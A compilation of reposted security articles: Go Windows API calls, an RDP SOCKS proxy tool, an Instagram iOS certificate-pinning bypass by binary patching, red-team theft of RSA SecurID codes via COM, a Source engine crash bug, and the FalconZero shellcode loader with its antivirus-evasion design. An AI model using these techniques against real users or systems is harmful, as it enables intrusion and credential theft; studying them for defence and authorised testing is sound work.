I had quite of a bit of issue with each of these, and really had the best luck with windows and syscall, so let’s talk about this one first.

Changing Windows Background Image in C++

My idea to test using Windows API’s was to try and change the background in my development VM. Let’s see what this looks like in C++ first and then we will investigate porting it over to Go.

#include <windows.h>
#include <iostream>


int main() {
    const wchar_t *path = L"C:\\image.png";
    int result;
    result = SystemParametersInfoW(SPI_SETDESKWALLPAPER, 0, (void *)path, SPIF_UPDATEINIFILE);
    std::cout << result;        
    return 0;
}

I’m going to assume a level of comfortability with reading C code if you’re reading this, so I wont go into the structure of this code, but as you can see, you can use the SystemParameterInfoW() function to channge the wallpaper in Windows. One of the greatest things Microsft has given to the people are it’s MSDN documenation. Here is the struture of SystemParameterInfoW() from MSDN documenation:

BOOL SystemParametersInfoW(
  UINT  uiAction,
  UINT  uiParam,
  PVOID pvParam,
  UINT  fWinIni
);

All we need to really know for this, is the value for uiAction to change the background (which is 0x0014 (which represents SPI_SETDESKWALLPAPER)), uiParam can be 0, pvParam will be the path to the image we want to change, and fWinIni will be set to 0x001A which is defined as SPIF_UPDATEINIFILE from the documentation. Knowing all this, let’s start setting up the Go version of this!

Changing Windows Background Image in Golang

Now that we are equipped with how we can call this function, we can start piecing together our Go file. All we need is one file, so we start out with our skeleton file, with some imports:

package main


import (

	"fmt"
	"unsafe"

	"golang.org/x/sys/windows"
)

func main() {

}

Let’s go over the imports here. fmt for us to print some text to the terminal, unsafe allows us to bypass the safety of declaring types within Go programs, and finally golang.org/x/sys/windows is what will allow us to call Windows APIs.

Looking over the documentation of the windows library, since the SystemParameterInfoW() function is explicitly defined by the creator of this library, we have to manually open a handle the DLL that holds this function, and then create a variable that points to this function. In the windows library, the way to open a handle to a DLL is:

user32DLL				= windows.NewLazyDLL("user32.dll")

Which will then add to a variable declaration block with the pointer to the function we want from this DLL:

var (
    user32DLL				= windows.NewLazyDLL("user32.dll")
    procSystemParamInfo	= user32DLL.NewProc("SystemParametersInfoW")
)

So now we have to variables, and we will call upon the second one later on and load our parameters into it to have it change our wallpaper. Now within our main function, we first need to define the image path of where the picture we want to change our wallpaper to is located. For me it’s located under C:\Users\User\Pictures\image.jpg. You have to wrap this path within the UTF16PtrFromString() function to change it’s type so that it will be accepted into the C function, since Windows APIs get a little tricky with Golang strings. This will definiely be an issue doing more complicated APIs, which I will have another blog about in the future.

I then have the binary print out to the user that it is in fact changing the background (but Go binaries execute so quickly probably doesn’t matter too much, I just like having print statements!) Finally, we use the Call() function within this windows library to invoke the API and have it execute and change our wallpaper. Here is the final main function in our code:

func main()  {
	imagePath, _ := windows.UTF16PtrFromString(`C:\Users\User\Pictures\image.jpg`)
	fmt.Println("[+] Changing background now...")
	procSystemParamInfo.Call(20, 0, uintptr(unsafe.Pointer(imagePath)), 0x001A)

}

So as you can see above, in the last line, we use the procSystemParamInfo variable we declared which points to the API we want to use, then pair that with the Call() function explained earlier, and then load it up with the parameters we discussed towards the begining. You will see two additional wrappers around the imagePath variable on the last line as well. This is a super hacky way to get windows API’s to accept golang variable types, first making the whole parameter a uintptr which is just a pointer that a C function will accept, and then wrapping the UTF16PtrFromString string in unsafe.Pointer() function to then allow Go to bypass the safety of type conversion since we are doing several unorthodox conversions.

Let’s compile this with go build from within the directory of the source code and run the exe that gets built.

Thanks for reading this! Feel free to hit me up on twitter if you have any questions about this! Happy hacking!

 

Sursa: https://anubissec.github.io/How-To-Call-Windows-APIs-In-Golang/#

[Tool Release – Socks Over RDP]

Tool Release – Socks Over RDP

 Balazs Bucsay  Research, Tool Release  May 6, 2020 2 Minutes

Introduction

Remote Desktop Protocol (RDP) is used to create an interactive session on a remote Windows machine. This is a widely used protocol mostly used by Administrators to remotely access the resources of the operating system or network based services.

As penetration testers we frequently find ourselves in a situation where the only access that we are provided to a server or network is a Remote Desktop account. These servers are commonly called Jump boxes. It means that we need to perform our testing via this server. This usually introduces a few extra steps that takes time from us and our clients to setup and configure:

• Create a list of tools that needs to be installed on the server (optional)
• Get the list approved by the client (optional)
• Install the tools on the server
• Struggle to test with a quickly prepared environment with lots of limitations
• Repeat all points above

On top of this disruptive cycle, some of our clients do not really like us needing to install security testing tools on their machines, which is understandable, but this proves to be a deadlock in many cases.

To solve all of these issues above, we are happy to announce our new tool: Socks Over RDP.

Socks Over RDP

In case our testing has to go through a UNIX based server, this is a non-issue. SSH already has support for SOCKS Proxying, which can be set up for example with the “-D” parameter. The Remote Desktop Protocol and its Windows client however has no such feature.

This tool was created to add this functionality to the Remote Desktop Protocol and its client. Just like SSH, upon connection a SOCKS Proxy is created on the client site, which can be used to proxy everything over the existing RDP connection.

The tool has two components:

• A .dll, which needs to be registered on the client computer and will be loaded to the context of the Remote Desktop Client every time when it runs. This does nothing by itself, to active the SOCKS Proxy the other component needs to be executed
• A .exe, which is the server component. This needs to be copied to the server and executed. No installation, no configuration this is completely hassle free.

When the .exe is executed on the server side in the Remote Desktop Connection, it connects back to the plugin over a Dynamic Virtual Channel (which is a feature of the protocol) and the plugin will spin up a SOCKS Proxy on the client side. That proxy by default listens on 127.0.0.1:1080, which can be configured as a proxy in browsers or tools.

Note that the server component (.exe) does not require any special privileges on the server side at all, a low privileged user is also allowed to open virtual channels and proxy over the connection.

It is worth noting that this tool works on Windows only. In case you are a UNIX user, FreeRDP released a similar or equivalent plugin for their tool as well.

The Tool

The tool is open source and was released on an online conference called HAVOC, organized by Hackers Academy and can be found on GitHub.

Technical details, configuration options and other information can be found there as well:

https://github.com/nccgroup/SocksOverRDP

Security Concerns

By default, there are no security concerns associated with the tool.

The server component can be executed as a low privilege user, requiring no configuration or installation at all.

Upon misconfiguration of the plugin (client component), the proxy can be changed to listen on all interfaces, which might expose the proxy to other computers on the client’s local network. With a properly configured firewall this can be mitigated.

Written by:  Balazs Bucsay [@xoreipeip] https://twitter.com/xoreipeip

 

Sursa: https://research.nccgroup.com/2020/05/06/tool-release-socks-over-rdp/

[Bypass Instagram SSL Certificate Pinning for iOS]

Bypass Instagram SSL Certificate Pinning for iOS

 

Hassan, 

May 5th, 2020 · 3 min read

 

 

Once again, with another iOS app, and this time we will go through the Instagram iOS app trying to bypass its SSL Certificate Pinning protection.

---

DISCLAIMER: The articles, tutorials, and demos provided on this blog are for informational and educational purposes only, and for those who’re willing and curious to know and learn about Ethical Hacking, Cybersecurity, and Penetration Testing. You shall not misuse the information to gain unauthorized access or any other illegal use.

---

SSL Pinning

We have mentioned previously in Bypass Facebook SSL Certificate Pinning for iOS blog, the meaning of SSL Pinning, and the importance of implementing it.

Now let’s download the latest version of the Instagram iOS app and step up an HTTP proxy from Wi-Fi settings.

 

 

Open Burp Suite and configure your proxy options. Then, open the Instagram app and trying to login. If you are using the latest version of Burp Proxy v2020.4 now supports TLS 1.3, you will see a this message in your Dashboard -> Event log tab:

 

 

Also, your Instagram app will show you a this alert:

 

 

That’s because of their SSL Certificate Pinning protection which must be bypassed to be able to intercept requests and responses from their server.

Reverse Engineering

Let’s get the decrypted IPA for the app to reverse-engineer it. Using Frida iOS Dump you will be able to pull the app IPA from your jailbroken iPhone. After the script finish, change the app extension from .ipa to .zip then uncompress it.

Copy

1$ mv Instagram.ipa Instagram.zip

2$ unzip Instagram.zip

We need to locate the binary that has the SSL Pinning implementation to reverse it. A good way to locate it by using a tools like grep or ack to search for strings that indicate the validation process inside the extracted Payload folder. From the app alert message, we can use strings like OpenSSL, verify error, signed certificate, and verifier failure.

Copy

1$ grep -rins "verify error" .

2Binary file ./Instagram.app/Frameworks/FBSharedFramework.framework/FBSharedFramework matches

A Mach-O 64-bit shared library binary file called FBSharedFramework was found. It seems the one we found in the Facebook app but less size. We will use Hopper Disassembler to open the binary file.

A good start is to search with the alert error shown on the app. So, we will try to find the branch that responsible for OpenSSL cert verify error.

 

 

We found a match result for our string search. Click on it will navigate us to its location at the __cstring segment which contains all of the strings that are included in the application source code and their hexadecimal offsets.

 

 

To locate where the string is used in Hopper you can double-click on the cross-reference (XREF) to move to where the string is referenced in the binary.

 

 

Now we need to gain a better understanding of the code logic that responsible for SSL Pinning using the control flow graph (CFG).

 

 

Our mission is to avoid reaching the OpenSSL branch so that the app can work normally without any error alerts.

 

 

After analyzing the control flow graph (CFG) starting from your bottom branch, it seems very similar to the one that we found in the Facebook app. We can found the same isolated branch that doesn’t reach the OpenSSL cert verify error branch.

 

 

We have to invert the b.ne (short for “Branch if Not Equal”) instruction which branches, or “jumps”, to the address specified if, and only if the zero flag is clear, to the b.eq (short for “Branch if Not Equal”) instruction which branches, or “jumps”, to the address specified if, and only if the zero flag is clear. So, instead of entering to loc_22031c branch that causing the OpenSSL cert verify error, it entering the valid branch.

Binary Patching

 

 

A simple way to do this is by copying the hex encoding for the instruction that we want to change, then past it in an online HEX to ARM converter to get its ARM64 instruction. Then, copy the instruction you got and change it from B.NE to B.EQ as we want it to be. Past it in an online ARM to HEX converter to get our new ARM64 HEX values, as we explained in Bypass Facebook SSL Certificate Pinning for iOS blog.

Now, all we have to do is changing the instruction encoding for b.ne from 41 0C 00 54 to 40 0C 00 54 using the hex editor in hopper.

 

 

Then, save and extract our new binary, from File Menu -> Choose Produce New Executable and replace the new executable with the old one in the same app directory. Now, let’s compress our new Payload folder and change to an IPA again.

Copy

1$ zip -r Instagram.zip Payload

2$ mv Instagram.zip Instagram.ipa

Copy the new IPA to your jailbroken iPhone using iFunbox and install it using Filza File Manager.

 

 

Intercepting

After a successful installation for the modified application, let’s open it and login when we intercepting the requests using Burp Suite.

 

 

Now we can intercept all the requests and find interesting vulnerabilities at new endpoints then submit them to Facebook Bug Bounty Program.

 

Sursa: https://www.cyclon3.com/bypass-instagram-ssl-certificate-pinning-for-ios

[T1111: Two Factor Interception, RSA SecurID Software Tokens]

T1111: Two Factor Interception, RSA SecurID Software Tokens

06/05/2020 | Author: Admin

Introduction

During Red Team Operations, it is not uncommon to find systems or applications related to the engagement objectives being protected by Two Factor Authentication. One of the solutions that we frequently encounter is RSA SecurID Software Tokens. Strategies to circumvent or intercept tokens when faced with such deployments are therefore always desirable; this technique is described in MITRE ATT&CK T1111.

In this blog post, we will outline several potential approaches for intercepting RSA SecurID Software Tokens, including the approach that we opted for during our own operations. During the outlined scenarios, we assume access to the victim’s endpoint has already been achieved.

Extraction using Screenshots

Taking a screenshot is perhaps the straightforward option for token interception and is likely the first idea that would come to anyone’s mind.

However, there are a couple of downfalls. Firstly, we are assuming that the software is running and is visible on the client desktop. The second potential problem is that the user may have different configured tokens as can be seen in the image below:

As such, if we need to gain access to an account that is not presently visible on the screen, we need to interactively select the token. This approach is unlikely to be viable during a Red Team scenario.

Hooking Functions

Another potential approach would have been hooking the SetClipboardData function or the one responsible for drawing the token value on the screen. A potential risk with this method is that we need to inject into the current process, a technique that we try to avoid as much as possible.

This approach also isn’t as reliable as you might expect, with research showing that a lot of unrelated junk is present on the GUI functions and the SetClipBoardData function would only work if the user pressed the Copy button.

For these reasons, we decided to perform further research on how to extract the tokens in a more OpSec friendly strategy.

Analysing the Application

When reversing the RSA SecureID process in IDA it quickly becomes clear that the application functionality is relatively limited and only several functions were available.

After some analysis of the application, the following function was discovered:

The program was performing Signature Verification on the desktopclient.dll and then loading the library using the QLibrary::Load function as can be seen on the image above:

Since the main executable had limited functions, the focus switched on the desktopclient.dll library.

Loading desktopclient.dll in IDA, it was noted that it was making several calls to ole32.dll APIs. At this point it was highly likely that the communication was being achieved using COM.

Using OLEView .NET, we can see that two classes are available:

• RsaTokenService
• Token

OLEView .Net allows you to view a COM object type library (which is a binary file that stores information about object properties and methods).

The following interfaces were discovered:

[Guid("13a78cfa-ff65-4157-a90d-05afdb16f3c6")]
interface IRsaTokenService
{
   /* Methods */
   string getCurrentCode(string serial, string pin, [Out] Int32& timeleft);
   string getNextCode(string serial, string pin, [Out] Int32& timeleft);
   void displayHelpTopic(string topic);
   string getCurrentTokencode();
   string getNextTokencode();
   /* Properties */
   string Serials { get; }
}

[Guid("84652502-e607-4467-a216-be093824e90d")]
interface IToken
{
   /* Methods */
   void Init(string serial);
   bool IsPinValid(string pin);
   /* Properties */
   string serialNumber { get; }
   int otpInterval { get; }
   bool isPinRequired { get; }
   string url { get; }
   string userId { get; }
   string userFirstName { get; }
   string userLastName { get; }
   string label { get; }
   long deathDate { get; }
   bool shouldPrependPin { get; }
   string iconData { get; }
   int iconType { get; }
   int digits { get; }
   string extendedAttributes { get; }
}

Extracting the Tokens

On first glance, the methods described on this interfaces were quite promising and a test harness was created to call them to determine if they functioned as described.

To use this COM object, first add a reference of the rsatokenbroker Library:

After adding the reference, the following steps were followed for the token extraction:

• Create an Instance of the RSATokenService class
• Retrieve all the registered serial numbers of the tokens.
• Create an Instance of the Token class using the previously retrieved serial number
• Extract related information from the Token class properties like URL, UserId etc.
• Call getCurrentCode(string serial, string pin, [Out] Int32& timeleft);

RSA SecurID supports protecting the token by a PIN but in our implementation we didn’t have the opportunity to test this configuration further.

A simple C# program that extracts all the registered tokens and associated information can be found on GitHub.

Conclusions

Using the COM object provided us with an interface to extract the tokens in an OpSec safe way, avoiding injecting any process and calling any suspicious APIs. Having a software token, on the same device where the users’ credentials can be compromised is generally a bad idea and counteracts the benefits that many Multi Factor solutions provide. To mitigate against this type of “attack” we would recommend relying on hardware tokens, or using separate hardware (such as a mobile phone) for generating the software tokens.

This blog post was written by Rio Sherri.

 

Sursa: https://www.mdsec.co.uk/2020/05/t1111-two-factor-interception-rsa-securid-software-tokens/

[Source Engine Memory Corruption via LUMP_PAKFILE]

Source Engine Memory Corruption via LUMP_PAKFILE

impost0r

May 5, 2020

---

A month or so ago I dropped a Source engine zero-day on Twitter without much explanation of what it does. After determining that it’s unfortunately not exploitable, we’ll be exploring it, and the mess that is Valve’s Source Engine.

History

Valve’s Source Engine was released initially on June 2004, with the first game utilizing the engine being Counter-Strike: Source, which was released itself on November 1, 2004 - 15 or so years ago. Despite being touted as a “complete rewrite” Source still inherits code from GoldSrc and it’s parent, the Quake Engine. Alongside the possibility of grandfathering in bugs from GoldSrc and Quake (GoldSrc itself a victim of this), Valve’s security model for the engine is… non-existent. Valve not yet being the powerhouse they are today, but we’re left with numerous stupid fucking mistakes, dude, including designing your own memory allocator (or rather, making a wrapper around malloc.).

Of note - it’s relatively common for games to develop their own allocator, but from a security perspective it’s still not the greatest.

The Bug

The byte at offset A47B98 in the .bsp file I released and the following three bytes (\x90\x90\x90\x90), parsed as UInt32, controls how much memory is allocated as the .bsp is being loaded, namely in CS:GO (though also affecting CS:S, TF2, and L4D2). That’s the short of it.

To understand more, we’re going to have to delve deeper. Recently the source code for CS:GO circa 2017’s Operation Hydra was released - this will be our main tool.

Let’s start with WinDBG. csgo.exe loaded with the arguments -safe -novid -nosound +map exploit.bsp, we hit our first chance exception at “Host_NewGame”.

---- Host_NewGame ----
(311c.4ab0): Break instruction exception - code 80000003 (first chance)
*** WARNING: Unable to verify checksum for C:\Users\triaz\Desktop\game\bin\tier0.dll
eax=00000001 ebx=00000000 ecx=7b324750 edx=00000000 esi=90909090 edi=7b324750
eip=7b2dd35c esp=012fcd68 ebp=012fce6c iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
tier0!CStdMemAlloc::SetCRTAllocFailed+0x1c:
7b2dd35c cc              int     3

On the register $esi we can see the four responsible bytes, and if we peek at the stack pointer –

Full stack trace removed for succinctness.

              
00 012fce6c 7b2dac51 90909090 90909090 012fd0c0 tier0!CStdMemAlloc::SetCRTAllocFailed+0x1c [cstrike15_src\tier0\memstd.cpp @ 2880] 
01 (Inline) -------- -------- -------- -------- tier0!CStdMemAlloc::InternalAlloc+0x12c [cstrike15_src\tier0\memstd.cpp @ 2043] 
02 012fce84 77643546 00000000 00000000 00000000 tier0!CStdMemAlloc::Alloc+0x131 [cstrike15_src\tier0\memstd.cpp @ 2237] 
03 (Inline) -------- -------- -------- -------- filesystem_stdio!IMemAlloc::IndirectAlloc+0x8 [cstrike15_src\public\tier0\memalloc.h @ 135] 
04 (Inline) -------- -------- -------- -------- filesystem_stdio!MemAlloc_Alloc+0xd [cstrike15_src\public\tier0\memalloc.h @ 258] 
05 (Inline) -------- -------- -------- -------- filesystem_stdio!CUtlMemory<unsigned char,int>::Init+0x44 [cstrike15_src\public\tier1\utlmemory.h @ 502] 
06 012fce98 7762c6ee 00000000 90909090 00000000 filesystem_stdio!CUtlBuffer::CUtlBuffer+0x66 [cstrike15_src\tier1\utlbuffer.cpp @ 201]

Or, in a more succinct form -

0:000> dds esp
012fcd68  90909090

The bytes of $esi are directly on the stack pointer (duh). A wonderful start. Keep in mind that module - filesystem_stdio — it’ll be important later. If we continue debugging —

***** OUT OF MEMORY! attempted allocation size: 2425393296 ****
(311c.4ab0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000032 ebx=03128f00 ecx=012fd0c0 edx=00000001 esi=012fd0c0 edi=00000000
eip=00000032 esp=012fce7c ebp=012fce88 iopl=0         nv up ei ng nz ac po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010292
00000032 ??              ???

And there we see it - the memory allocator has tried to allocate 0x90909090, as UInt32. Now while I simply used HxD to validate this, the following Python 2.7 one-liner should also function.

print int('0x90909090', 0)

(For Python 3, you’ll have to encapsulate everything from int onward in that line in another set of parentheses. RTFM.)

Which will return 2425393296, the value Source’s spaghetti code tried to allocate. (It seems, internally, Python’s int handles integers much the same way as ctypes.c_uint32 - for simplicity’s sake, we used int, but you can easily import ctypes and replicate the finding. Might want to do it with 2.7, as 3 handles some things oddly with characters, bytes, etc.)

So let’s delve a bit deeper, shall we? We would be using macOS for the next part, love it or hate it, as everyone who writes cross-platform code for the platform (and Darwin in general) seems to forget that stripping binaries is a thing - we don’t have symbols for NT, so macOS should be a viable substitute - but hey, we have the damn source code, so we can do this on Windows.

Minimization

One important thing to do before we go fully into exploitation is minimize the bug. The bug is a derivative of one found with a wrapper around zzuf, that was re-found with CERT’s BFF tool. If we look at the differences between our original map (cs_assault) and ours, we can see the differences are numerous.

Minimization was done manually in this case, using BSPInfo and extracting and comparing the lumps. As expected, the key error was in lump 40 - LUMP_PAKFILE. This lump is essentially a large .zip file. We can use 010 Editor’s ZIP file template to examine it.

Symbols and Source (Code)

The behavior between the Steam release and the leaked source will differ significantly.

No bug will function in a completely identical way across platforms. Assuming your goal is to weaponize this, or even get the maximum payout from Valve on H1, your main target should be Win32 - though other platforms are a viable substitute. Linux has some great tooling available and Valve regularly forgets strip is a thing on macOS (so do many other developers).

We can look at the stack trace provided by WinDBG to ascertain what’s going on.

Starting from frame 8, we’ll walk through what’s happening.

The first line of each snippet will denote where WinDBG decides the problem is.

		if ( pf->Prepare( packfile->filelen, packfile->fileofs ) )
		{
			int nIndex;
			if ( addType == PATH_ADD_TO_TAIL )
			{
				nIndex = m_SearchPaths.AddToTail();	
			}
			else
			{
				nIndex = m_SearchPaths.AddToHead();	
			}

			CSearchPath *sp = &m_SearchPaths[ nIndex ];

			sp->SetPackFile( pf );
			sp->m_storeId = g_iNextSearchPathID++;
			sp->SetPath( g_PathIDTable.AddString( newPath ) );
			sp->m_pPathIDInfo = FindOrAddPathIDInfo( g_PathIDTable.AddString( pPathID ), -1 );

			if ( IsDvdDevPathString( newPath ) )
			{
				sp->m_bIsDvdDevPath = true;
			}

			pf->SetPath( sp->GetPath() );
			pf->m_lPackFileTime = GetFileTime( newPath );

			Trace_FClose( pf->m_hPackFileHandleFS );
			pf->m_hPackFileHandleFS = NULL;

			//pf->m_PackFileID = m_FileTracker2.NotePackFileOpened( pPath, pPathID, packfile->filelen );
			m_ZipFiles.AddToTail( pf );
		}
		else
		{
			delete pf;
		}
	}
}

It’s worth noting that you’re reading this correctly - LUMP_PAKFILE is simply an embedded ZIP file. There’s nothing too much of consequence here - just pointing out m_ZipFiles does indeed refer to the familiar archival format.

Frame 7 is where we start to see what’s going on.

	zipDirBuff.EnsureCapacity( rec.centralDirectorySize );
	zipDirBuff.ActivateByteSwapping( IsX360() || IsPS3() );
	ReadFromPack( -1, zipDirBuff.Base(), -1, rec.centralDirectorySize, rec.startOfCentralDirOffset );
	zipDirBuff.SeekPut( CUtlBuffer::SEEK_HEAD, rec.centralDirectorySize );

If one is to open LUMP_PAKFILE in 010 Editor and parse the file as a ZIP file, you’ll see the following.

elDirectorySize is our rec.centralDirectorySize, in this case. Skipping forward a frame, we can see the following.

Commented out lines highlight lines of interest.

CUtlBuffer::CUtlBuffer( int growSize, int initSize, int nFlags ) : 
	m_Error(0)
{
	MEM_ALLOC_CREDIT();
	m_Memory.Init( growSize, initSize );
	m_Get = 0;
	m_Put = 0;
	m_nTab = 0;
	m_nOffset = 0;
	m_Flags = nFlags;
	if ( (initSize != 0) && !IsReadOnly() )
	{
		m_nMaxPut = -1;
		AddNullTermination( m_Put );
	}
	else
	{
		m_nMaxPut = 0;
	}
	...

followed by the next frame,

template< class T, class I >
void CUtlMemory<T,I>::Init( int nGrowSize /*= 0*/, int nInitSize /*= 0*/ )
{
	Purge();

	m_nGrowSize = nGrowSize;
	m_nAllocationCount = nInitSize;
	ValidateGrowSize();
	Assert( nGrowSize >= 0 );
	if (m_nAllocationCount)
	{
		UTLMEMORY_TRACK_ALLOC();
		MEM_ALLOC_CREDIT_CLASS();
		m_pMemory = (T*)malloc( m_nAllocationCount * sizeof(T) );
	}
}

and finally,

inline void *MemAlloc_Alloc( size_t nSize )
{ 
	return g_pMemAlloc->IndirectAlloc( nSize );
}

where nSize is the value we control, or $esi. Keep in mind, this is all before the actual segfault and $eip corruption. Skipping ahead to that –

***** OUT OF MEMORY! attempted allocation size: 2425393296 ****
(311c.4ab0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000032 ebx=03128f00 ecx=012fd0c0 edx=00000001 esi=012fd0c0 edi=00000000
eip=00000032 esp=012fce7c ebp=012fce88 iopl=0         nv up ei ng nz ac po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010292
00000032 ??              ???

We’re brought to the same familiar fault. Of note is that $eax and $eip are the same value, and consistent throughout runs. If we look at the stack trace WinDBG provides, we see much of the same.

Picking apart the locals from CZipPackFile::Prepare, we can see the values on $eip and $eax repeated a few times. Namely, the tuple m_PutOverflowFunc.

So we’re able to corrupt this variable and as such, control $eax and $eip - but not to any useful extent, unfortunately. These values more or less seem arbitrary based on game version and map data. What we have, essentially - is a malloc with the value of nSize (0x90909090) with full control over the variable nSize. However, it doesn’t check if it returns a valid pointer – so the game just segfaults as we’re attempting to allocate 2 GB of memory (and returning zero.) In the end, we have a novel denial of service that does result in “control” of the instruction pointer - though not to an extent that we can pop a shell, calc, or do anything fun with it.

Thanks to mev for phrasing this better than I could.

I’d like to thank mev, another one of our members, for assisting with this writeup, alongside paracord and vmcall.

 

Sursa; https://secret.club/2020/05/05/source-spaghetti.html

[Introducing FalconZero v1.0 - a stealthy, targeted Windows Loader for delivering second-stage payloads]

Introducing FalconZero v1.0 - a stealthy, targeted Windows Loader for delivering second-stage payloads(shellcode) to the host machine undetected

Reading Time: 10 minutes

Warning Ahead!

You could dominate the world if you read this post from top to bottom and follow all the instructions written here. Proceed at your own discretion, operator!

TL;DR

This tool is  for red team operators and offensive security researchers and ergo, being made open source and free(as in free beer).

It is available here: https://github.com/slaeryan/FALCONSTRIKE

Demo

Let’s take a quick look at a demo of the FalconZero Implant Generation Utility and then we shall get down to the technicalities.

Introduction

Ever since I completed my SLAE, I am completely enchanted by the power of shellcode. This feeling was only augmented when I heard a podcast by the wonderful guys at FireEye’s Mandiant Red Team where they advocated the usage of shellcode in red teaming engagements for its flexibility and its ability to evade AV/EDRs among other things.

That’s when I decided to play around with various shellcode injection techniques. Along the way, I thought of a cool technique and made an implant based on it that could deliver Stage-2 payloads to the target machine in a stealthy manner. But why stop there? Why not add some neat features to it and create a framework to aid red teamers to generate these implants as quickly and cleanly as possible.

That was the inception of the FALCONSTRIKE project and FalconZero is the first public release version Loader/Dropper of the FALCONSTRIKE project. It implements the BYOL(Bring Your Own Land) approach as opposed to LotL(Living off the Land). But it’s not your standard run-off-the-mill shellcode loader(more on this later).

You may think of FalconZero as a loading dock for malware. In other words, FalconZero is comparable to an undetectable gun that will fire a bullet(payload) on the host machine.

This is the reason it may not be classified as malware per se but rather a facilitator of sorts that helps the malware get undetected on the host.

But there’s plenty of tools that already do that. So what makes FalconZero special?

While there are many excellent existing projects, this is not designed to be a replacement for them.

This is designed to be unique in its own way and there are quite a few of those features that separate it from the rest. So let’s discuss them one by one.

Separation of the final-stage payload from the Loader

As the real attackers often do, we need to separate the payload into 2 stages:

1. Stage-1 payload - A stealthy, lightweight Loader - downloads and injects the Beacon shellcode into a benign host process.
2. Stage-2 payload - A full-fledged interactive C2 Agent - Meterpreter/Beacon etc.

Some of the ways of storing the Stage-2 payload(shellcode) in the Stage-1 payload(Dropper) are:

1. Storing shellcode in .text section of Dropper
2. Storing shellcode in .data section of Dropper
3. Storing shellcode in .rsrc section of Dropper etc.

While these techniques remain quite popular but keeping both the shellcode and Dropper bundled together(even if it is encrypted) is probably not a good idea from an OPSEC & risk management perspective.

Why risk combining all the functionality into a single tool?

Imagine if the blue-teams get a hold of an undetonated implant, not only will the Dropper get compromised but also the Stage-2 payload which can’t be any good. Instead, hosting the Stage-2 payload on a server is beneficial because you even have a kill-switch in your hands now(say you want to stop the op. simply delete the payload from the server and that’s it).

This technique also helps us to evade some AV/EDRs if the Stage-1 implant is designed in such a way since Stage-2 has more chances of getting detected.

So it’s best practise from an OPSEC and risk mitigation perspective to separate the Dropper and the shellcode over the network. In other words, the Dropper can connect to a remote server where the shellcode is hosted provided some conditions are met, fetch it from over there, prep it and then proceed to inject it into a host process on-the-fly which is exactly what has been implemented. Remember BYOL? Hopefully, it makes a lot more sense now.

Usage of Github for fetching the Stage-2 payload

Yep! You read that correctly. Github is used as the payload storage area. The implant connects to the appropriate Github repository and fetches the payload from there.

Why such a choice?

Simply because Github is largely considered a legitimate website and network traffic observed to Github will not be flagged as malicious by security products and will probably not even be blocked in most organisations/offices as opposed to using some attacker-owned web server hosting a payload which could be noisy as hell.

Last time I checked, I could not find any publicly available tools that utilised Github as the shellcode docking station so this would be the first of it’s kind. I sincerely hope Github doesn’t ban me from their platform now

As a brownie point, this would save the operator precious time and money too

Sensitive string obfuscation

All the sensitive strings in this implant are encrypted using the XOR algorithm with a key that is commonly found in binaries. This would make the job of extracting the URL string and other information from the binary using static analysis impossible.

Feel free to test it using FLOSS. Extract it, chmod +x and test using:

./floss <binary>

Implant targeting

This is something that I have spoken of before. Instead of having malicious code that executes on arbritrary systems, FalconZero comes with a targeting feature which prevents its execution on non-targeted assets and ensuring deployment only happens iff host is the intended target.

But we as red teams why should we care about it? This is why:

1. To prevent the accidental breaking of the rules of engagement. This will ensure that the malcode doesn’t end being executed on any unintended host which are out of the scope.
2. To hinder the efforts of blue teams trying to reverse engineer the implant on non-targeted assets and thwart analysis on automated malware sandboxes.

Okay, but how do we implement this?

Using something known as an environmental keying factor which could be any network/host specific identifier that is found out previously by reconnoitering the target.

By hard-coding that value in the implant and comparing it at runtime, we can verify whether the executing host is the intended target or not.

One problem that arises from this approach is that it would be trivial to extract that identifier from the binary if left in a plaintext format.

So why don’t we hash it? And compare the hashes at runtime instead of the original string?

FalconZero uses the hostname as the environmental keying factor, hashes it using MD5 algorithm and what’s more? It even encrypts that hash using XOR before hard-coding it to thwart all kinds of static analysis. Should the checks fail, the implant shall not execute on the host.

As a result, reverse engineering this implant should be non-trivial.

Killdate

Think of killdates like a sort of expiry date for implants beyond which the implant will simply not execute. Obviously, this is quite an important feature as you’d want your implants to be rendered useless after the engagement ends.

Address Of Entry Point Injection technique

Thanks to @spotheplanet, FalconZero utilises a shellcode injection technique that goes under the radar of many AV/EDRs since we do not need to allocate RWX memory pages in the host process which is a very noisy action.

Quoting from his blog,

This is a shellcode injection technique that works as follows:
1. Start a target process into which the shellcode will be injected, in suspended state. 
2. Get AddressOfEntryPoint of the target process
3. Write shellcode to AddressOfEntryPoint retrieved in step 2
4. Resume target process

Credit goes to Mantvydas Baranauskas for describing this wonderful technique! In the current form, FalconZero injects the payload to explorer.exe. Of course, this could be modified to suit the purpose of the operator.

Usage

There are many hard things in life but generating an implant shouldn’t be one. This is the reason the generate_implant.py script has been created to make your life a breeze. The process is as simple as:

First generate your shellcode as a hex string
Upload it on Github and copy the Github raw URL
For testing(MessageBox shellcode): https://raw.githubusercontent.com/slaeryan/DigitalOceanTest/master/messagebox_shellcode_hex_32.txt
git clone https://github.com/slaeryan/FALCONSTRIKE.git
cd FALCONSTRIKE
pip3 install -r requirements.txt
python3 generate_implant.py

Follow the on-screen instructions and you’ll find the output in bin directory if everything goes well.

AV Scan of FalconZero implant

Upgrades expected in the next release

This is an alpha release version and depending on the response many more upgrades to existing functionalities are coming soon.

Some of them are:

• Integrate various Sandbox detection algorithms.
• Integrate support for more stealthy shellcode injection techniques.
• Integrate function obfuscation to make it stealthier.
• Include a network component to callback to a C2 when a Stage-2 payload is released or to change targets/payloads and configure other options on-the-fly etc.
• Inject to a remote process from where network activity is not unusual for fetching the shellcode - better OPSEC
• Include active hours functionality - Loader becomes active during a specified period of day etc.

Feel free to communicate any further feature that you want to see in the next release. Suggestions for improving existing features are also warmly welcome

Support this project

If you find this project useful, consider buying me coffee or a beer(depending on the mood) as a token of appreciation.

You can do it right here:

 

OR

Donate with Crypto

 

 

Sursa: https://slaeryan.github.io/posts/falcon-zero-alpha.html

[Cariera Securitate Cibernetica]

Trebuie sa inveti atat teoretic cat si sa lucrezi practic.

